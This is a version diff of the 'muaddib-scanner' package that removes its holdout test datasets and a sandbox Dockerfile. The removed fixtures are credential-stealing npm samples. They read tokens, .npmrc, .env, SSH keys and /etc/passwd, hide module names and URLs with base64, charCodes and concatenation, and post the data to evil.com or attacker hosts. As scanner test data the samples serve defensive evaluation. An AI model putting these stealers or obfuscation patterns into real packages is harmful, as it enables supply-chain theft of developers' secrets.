muaddib-scanner 2.2.22 → 2.2.23

package/datasets/holdout-v4/atob-eval/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "atob-eval",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/base64-require/index.js

@@ -1,3 +0,0 @@
-// Holdout v4 — base64-require: module name hidden in base64
-const mod = require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString());
-mod.exec('whoami');

package/datasets/holdout-v4/base64-require/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "base64-require",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/charcode-fetch/index.js

@@ -1,3 +0,0 @@
-// Holdout v4 — charcode-fetch: URL rebuilt from charCodes
-const url = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 118, 105, 108, 46, 99, 111, 109);
-fetch(url, { method: 'POST', body: process.env.NPM_TOKEN });

package/datasets/holdout-v4/charcode-fetch/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "charcode-fetch",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/charcode-spread-homedir/index.js

@@ -1,5 +0,0 @@
-// Holdout v4 — charcode-spread-homedir: module 'os' hidden via charCodes
-const h = String.fromCharCode(...[111, 115]);
-const m = require(h).homedir();
-const f = require('fs').readFileSync(m + '/.ssh/id_rsa');
-require('https').request('https://evil.com').write(f);

package/datasets/holdout-v4/charcode-spread-homedir/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "charcode-spread-homedir",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/concat-env-steal/index.js

@@ -1,4 +0,0 @@
-// Holdout v4 — concat-env-steal: env var name rebuilt by concat
-const key = 'NPM' + '_' + 'TOK' + 'EN';
-const val = process.env[key];
-require('https').request({ hostname: 'evil.com', path: '/steal', method: 'POST' }, () => {}).write(val);

package/datasets/holdout-v4/concat-env-steal/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "concat-env-steal",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/double-decode-exfil/index.js

@@ -1,4 +0,0 @@
-// Holdout v4 — double-decode-exfil: double base64 encoding
-const modName = Buffer.from(Buffer.from('WTJocGJHUmZjSEp2WTJWemN3PT0=', 'base64').toString(), 'base64').toString();
-const proc = require(modName);
-proc.exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)');

package/datasets/holdout-v4/double-decode-exfil/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "double-decode-exfil",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/hex-array-exec/index.js

@@ -1,3 +0,0 @@
-// Holdout v4 — hex-array-exec: shell command hidden in hex array
-const cmd = [0x63, 0x75, 0x72, 0x6c, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x6f, 0x6d].map(c => String.fromCharCode(c)).join('');
-require('child_process').exec(cmd);

package/datasets/holdout-v4/hex-array-exec/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "hex-array-exec",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js

@@ -1,10 +0,0 @@
-// Holdout v4 — mixed-obfuscation-stealer: 3 techniques combined
-// Module name via charCode
-const modName = String.fromCharCode(102, 115);
-// Path via base64
-const credPath = Buffer.from('L2V0Yy9wYXNzd2Q=', 'base64').toString();
-// URL via concat
-const host = 'https://' + 'att' + 'acker' + '.com';
-
-const data = require(modName).readFileSync(credPath, 'utf8');
-require('https').request(host, { method: 'POST' }, () => {}).write(data);

package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "mixed-obfuscation-stealer",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/nested-base64-concat/index.js

@@ -1,4 +0,0 @@
-// Holdout v4 — nested-base64-concat: split base64 + concat
-const a = Buffer.from('Y2hpbGRf', 'base64').toString();
-const b = Buffer.from('cHJvY2Vzcw==', 'base64').toString();
-require(a + b).exec('id');

package/datasets/holdout-v4/nested-base64-concat/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "nested-base64-concat",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v4/template-literal-hide/index.js

@@ -1,3 +0,0 @@
-// Holdout v4 — template-literal-hide: module name via template literals
-const mod = `${'child'}${'_process'}`;
-require(mod).exec('curl evil.com');

package/datasets/holdout-v4/template-literal-hide/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "template-literal-hide",
-  "version": "1.0.0",
-  "main": "index.js"
-}

package/datasets/holdout-v5/callback-exfil/main.js

@@ -1,8 +0,0 @@
-const readCredentials = require('./reader');
-
-readCredentials((data) => {
-  fetch('https://evil.com/collect', {
-    method: 'POST',
-    body: data
-  });
-});

package/datasets/holdout-v5/callback-exfil/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "callback-exfil",
-  "version": "1.0.0",
-  "description": "Holdout v5 — callback-based credential passing"
-}

package/datasets/holdout-v5/callback-exfil/reader.js

@@ -1,10 +0,0 @@
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-
-function readCredentials(callback) {
-  const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
-  callback(npmrc);
-}
-
-module.exports = readCredentials;

package/datasets/holdout-v5/class-method-exfil/collector.js

@@ -1,10 +0,0 @@
-const fs = require('fs');
-
-class Collector {
-  read() {
-    const data = fs.readFileSync('.env', 'utf8');
-    return data;
-  }
-}
-
-module.exports = Collector;

package/datasets/holdout-v5/class-method-exfil/main.js

@@ -1,7 +0,0 @@
-const Collector = require('./collector');
-
-const c = new Collector();
-const secrets = c.read();
-
-const ws = new WebSocket('wss://evil.com/ws');
-ws.send(secrets);

package/datasets/holdout-v5/class-method-exfil/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "class-method-exfil",
-  "version": "1.0.0",
-  "description": "Holdout v5 — class method read + WebSocket exfil"
-}

package/datasets/holdout-v5/conditional-split/detector.js

@@ -1,2 +0,0 @@
-const isCI = !!process.env.CI;
-module.exports = isCI;

package/datasets/holdout-v5/conditional-split/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "conditional-split",
-  "version": "1.0.0",
-  "description": "Holdout v5 — conditional CI-gated exfiltration"
-}

package/datasets/holdout-v5/conditional-split/stealer.js

@@ -1,16 +0,0 @@
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-const https = require('https');
-const isCI = require('./detector');
-
-if (isCI) {
-  const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
-  const req = https.request({
-    hostname: 'evil.com',
-    path: '/ci-steal',
-    method: 'POST'
-  }, (res) => { res.resume(); });
-  req.write(npmrc);
-  req.end();
-}

package/datasets/holdout-v5/event-emitter-flow/listener.js

@@ -1,12 +0,0 @@
-const https = require('https');
-const bus = require('./scanner');
-
-bus.on('data', (creds) => {
-  const req = https.request({
-    hostname: 'evil.com',
-    path: '/steal',
-    method: 'POST'
-  }, (res) => { res.resume(); });
-  req.write(creds);
-  req.end();
-});

package/datasets/holdout-v5/event-emitter-flow/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "event-emitter-flow",
-  "version": "1.0.0",
-  "description": "Holdout v5 — EventEmitter-based credential flow"
-}

package/datasets/holdout-v5/event-emitter-flow/scanner.js

@@ -1,11 +0,0 @@
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-const EventEmitter = require('events');
-
-const bus = new EventEmitter();
-
-const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
-bus.emit('data', npmrc);
-
-module.exports = bus;

package/datasets/holdout-v5/mixed-inline-split/index.js

@@ -1,6 +0,0 @@
-// Inline obfuscated payload (intra-file threat)
-const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
-eval(payload);
-
-// Also orchestrate cross-file flow
-require('./sender');

package/datasets/holdout-v5/mixed-inline-split/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "mixed-inline-split",
-  "version": "1.0.0",
-  "description": "Holdout v5 — intra-file eval + cross-file dataflow"
-}

package/datasets/holdout-v5/mixed-inline-split/reader.js

@@ -1,3 +0,0 @@
-const fs = require('fs');
-const data = fs.readFileSync('.npmrc', 'utf8');
-module.exports = data;

package/datasets/holdout-v5/mixed-inline-split/sender.js

@@ -1,6 +0,0 @@
-const stolen = require('./reader');
-
-fetch('https://evil.com/exfil', {
-  method: 'POST',
-  body: stolen
-});

package/datasets/holdout-v5/named-export-steal/main.js

@@ -1,6 +0,0 @@
-const { getCredentials } = require('./utils');
-
-fetch('https://evil.com/aws', {
-  method: 'POST',
-  body: getCredentials
-});

package/datasets/holdout-v5/named-export-steal/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "named-export-steal",
-  "version": "1.0.0",
-  "description": "Holdout v5 — named export destructuring steal"
-}

package/datasets/holdout-v5/named-export-steal/utils.js

@@ -1 +0,0 @@
-exports.getCredentials = process.env.AWS_SECRET_ACCESS_KEY;

package/datasets/holdout-v5/reexport-chain/a.js

@@ -1,2 +0,0 @@
-const token = process.env.NPM_TOKEN;
-module.exports = token;

package/datasets/holdout-v5/reexport-chain/b.js

@@ -1 +0,0 @@
-module.exports = require('./a');

package/datasets/holdout-v5/reexport-chain/c.js

@@ -1,11 +0,0 @@
-const https = require('https');
-const secret = require('./b');
-
-const req = https.request({
-  hostname: 'evil.com',
-  path: '/npm-token',
-  method: 'POST'
-}, (res) => { res.resume(); });
-
-req.write(secret);
-req.end();

package/datasets/holdout-v5/reexport-chain/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "reexport-chain",
-  "version": "1.0.0",
-  "description": "Holdout v5 — double re-export chain a → b → c"
-}

package/datasets/holdout-v5/split-env-exfil/env.js

@@ -1,2 +0,0 @@
-const token = process.env.GITHUB_TOKEN;
-module.exports = token;

package/datasets/holdout-v5/split-env-exfil/exfil.js

@@ -1,5 +0,0 @@
-const token = require('./env');
-fetch('https://evil.com/collect', {
-  method: 'POST',
-  body: token
-});

package/datasets/holdout-v5/split-env-exfil/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "split-env-exfil",
-  "version": "1.0.0",
-  "description": "Holdout v5 — cross-file env token exfil"
-}

package/datasets/holdout-v5/split-npmrc-steal/index.js

@@ -1,2 +0,0 @@
-require('./reader');
-require('./sender');

package/datasets/holdout-v5/split-npmrc-steal/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "split-npmrc-steal",
-  "version": "1.0.0",
-  "description": "Holdout v5 — cross-file .npmrc steal"
-}

package/datasets/holdout-v5/split-npmrc-steal/reader.js

@@ -1,8 +0,0 @@
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-
-const npmrcPath = path.join(os.homedir(), '.npmrc');
-const content = fs.readFileSync(npmrcPath, 'utf8');
-
-module.exports = content;

package/datasets/holdout-v5/split-npmrc-steal/sender.js

@@ -1,17 +0,0 @@
-const https = require('https');
-const data = require('./reader');
-
-const options = {
-  hostname: 'collector.evil.com',
-  port: 443,
-  path: '/exfil',
-  method: 'POST',
-  headers: { 'Content-Type': 'text/plain' }
-};
-
-const req = https.request(options, (res) => {
-  res.resume();
-});
-
-req.write(data);
-req.end();

package/datasets/holdout-v5/three-hop-chain/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "three-hop-chain",
-  "version": "1.0.0",
-  "description": "Holdout v5 — 3-file chain reader → transform → sender"
-}

package/datasets/holdout-v5/three-hop-chain/reader.js

@@ -1,8 +0,0 @@
-const os = require('os');
-const fs = require('fs');
-const path = require('path');
-
-const keyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
-const key = fs.readFileSync(keyPath, 'utf8');
-
-module.exports = key;

package/datasets/holdout-v5/three-hop-chain/sender.js

@@ -1,11 +0,0 @@
-const https = require('https');
-const payload = require('./transform');
-
-const req = https.request({
-  hostname: 'attacker.example.com',
-  path: '/collect',
-  method: 'POST'
-}, (res) => { res.resume(); });
-
-req.write(payload);
-req.end();

package/datasets/holdout-v5/three-hop-chain/transform.js

@@ -1,3 +0,0 @@
-const raw = require('./reader');
-const encoded = Buffer.from(raw).toString('base64');
-module.exports = encoded;

package/docker/Dockerfile

@@ -1,20 +0,0 @@
-FROM node:20-alpine
-
-# Outils de monitoring
-RUN apk add --no-cache strace curl tcpdump coreutils findutils jq iptables
-
-# Non-root user for npm install (privilege drop via su in sandbox-runner.sh)
-RUN adduser -D sandboxuser
-
-# Dossier de travail avec bonnes permissions
-WORKDIR /sandbox
-RUN chown sandboxuser:sandboxuser /sandbox
-
-# Script d'analyse (sed strips Windows CRLF line endings)
-COPY sandbox-runner.sh /sandbox/
-RUN sed -i 's/\r$//' /sandbox/sandbox-runner.sh && chmod +x /sandbox/sandbox-runner.sh
-
-# Entrypoint runs as root for iptables/tcpdump/dmesg access.
-# npm install is dropped to sandboxuser via su in sandbox-runner.sh.
-# --security-opt no-new-privileges is set by the Docker run args in sandbox.js.
-ENTRYPOINT ["/sandbox/sandbox-runner.sh"]